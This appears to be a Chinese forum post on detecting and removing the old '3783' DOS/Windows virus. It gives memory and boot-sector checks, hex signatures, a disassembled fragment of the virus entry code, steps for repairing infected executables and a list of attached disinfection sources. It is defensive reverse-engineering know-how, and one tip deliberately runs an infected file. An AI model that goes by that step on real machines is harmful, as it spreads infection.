F6C8:0FC0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
F6C8:0FD0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
F6C8:0FE0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
F6C8:0FF0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................


杀毒要点:

1.内存中病毒的检测

   检测内存中的病毒可以用病毒自己的检测方法,设置 AX=187FH,BX=4453H 调用INT 21H,如果返回 BX=87A1H 表示内存中已有 3783 病毒,由于该病毒有很多欺骗手段,要检测引导区或文件上的病毒必须先用干净系统盘重新启动。

2.引导区中病毒的检测和清除

   用磁盘编辑工具观察引导区,如果发现偏移 003EH 的内容为 FA 33 DB 8E D3 BC 00 7C 8E C4 表示引导区中已有病毒,对于硬盘,可用 CX=000DH,DX=0080H,INT 13H 读出原引导记录,对于软盘,可用 CX=5009H,DX=0000H,INT 13H 读出原引导记录, 再写入引导区就可以清除病毒,清除硬盘引导区的 3783 病毒也可以简单地用 FDISK /MBR 来完成。

3.可执行文件中病毒的检测和清除

   3783 病毒在文件中保存了原文件的文件头,位置是病毒开始后偏移第 0E87H 处算起的 40H 字节,由于 3783 病毒代码不加密,所以检测和清除相对比较简单,对于 DOS 文件,可以用PCTOOLS 等软件查找字符串 0E 1F E8 00 00 5E 83 EE 05 56 06 B8 7F 18,或用DEBUG 反汇编文件的前几句,如果发现字符串或发现以下指令:

XXXX:0100  E9YYYY   JMP    YYYY      ;.COM 文件的第一句
        ...
XXXX:YYYY  0E      PUSH    CS      ;.EXE 文件的第一句
        1F      POP    DS
        E80000    CALL   ZZZZ
XXXX:ZZZZ  5E      POP    SI
        83EE05    SUB    SI,+05
        56      PUSH   SI
        06      PUSH   ES
        B87F18    MOV    AX,187F
        BB5344    MOV    BX,4453
        CD21     INT    21     (DOS)
        81FBA187  CMP    BX,87A1


就可以确认文件已被 3783 病毒传染,手工消毒可以用以下办法:先记下找到字符串的位置,再将这个位置加上 0E87H,( DEBUG 中将地址 YYYY 加上 0E87H) 就是原文件头 40H 字节保存的地方,将这 40H字节写回文件头,再从找到字符串的地方将文件截断即完成消毒。
  对于WINDOWS文件,由于病毒对文件修改较多,且数据结构复杂,一般不用手工消毒,在没有消毒程序的情况下,建议用以下办法:找一个压缩软件如 ARJ、LHA、RAR 等, 将文件改名为其他文件名如 A.EXE,再运行一个带毒文件使内存中驻留病毒,再将要消毒的文件打包,由于病毒执行了欺骗功能,所以由压缩软件读出并压进文件包的文件都是无毒的,用干净系统盘启动后,解压缩出来的文件就是无毒的了。在磁盘空间足够的情况下,也可以用这种方法全盘压缩,再全盘解压缩来消除全部病毒。编程自动消毒的步骤和算法如下:

   ⑴  判断文件头 0018H 大于等于 40H 则继续 (表示有 "NE" 文件头)
   ⑵  从文件头 003CH 取得偏移量读出 40H 字节,判断前 2 字节为 "NE" 则继续
   ⑶  从 "NE" 报头中取相关数据计算入口段地址表记录偏移量,算法为:
      偏移量="NE"报头偏移量+["NE"报头22H]+(["NE"报头16H]-1)*8
   ⑷  读出 8 字节入口段的段地址表记录
   ⑸  如果本记录后 6 字节为 7D 0E 80 01 7D 0E 表示有 3783 病毒
   ⑹  病毒起始位置(即原文件长)=[段地址表记录00H]*( 1 SHL ["NE"报头32H] )
   ⑺  恢复原入口段地址表记录号:病毒中第 0E83H => "NE"报头16H
      恢复原入口 IP:病毒中第 0E85H => "NE"报头14H
      恢复原段地址表记录数:"NE"报头 1CH 减 1
   ⑻  将恢复的 "NE" 报头写回,将文件从病毒开始处截断


到此消毒已经完成。在消毒中省略了将 "NE"可执行报头及段地址表后移 8 字节的步骤,这并不影响文件的执行,如果一定要将文件完全复原,还要加上以下部分:

   ⑼  将 "NE"报头 04H、24H、26H、28H、2AH 处的字及文件头 3CH 处的双字减 8
   ⑽  将 "NE"报头开始到段地址表结束为止的数据后移 8 字节
      将文件头 3CH 处的新数据写回


4.可执行文件的免疫

  病毒的传染标记为文件时间加上 100 年,如果病毒检测到文件时间大于 2080 年就认为文件已经感染,所以可以用工具软件修改文件时间,将文件时间加上 100年就可完成免疫。

5. 消毒程序参考本文附带的源程序:

kv.asm 我编写的一个全盘搜索的程序
k_1150.asm 杀 1150 病毒的子模块
k_monkey.asm 杀 Monkey 病毒的子模块
k_3783.asm 杀 3783 病毒的子模块
scanf.asm 公用输入模块
printf.asm 公用输出模块

附件

kv.zip (13 KB)

2005-12-15 07:38, 下载次数: 357

本文的源代码

人情如冰六月寒,花做一份艳,为谁笑人间? 如果任何人发现我转载的有图像的文章中图像失效或者文章有问题,请及时短消息通知我。先谢谢。::)) coup de foudre

TOP

发新话题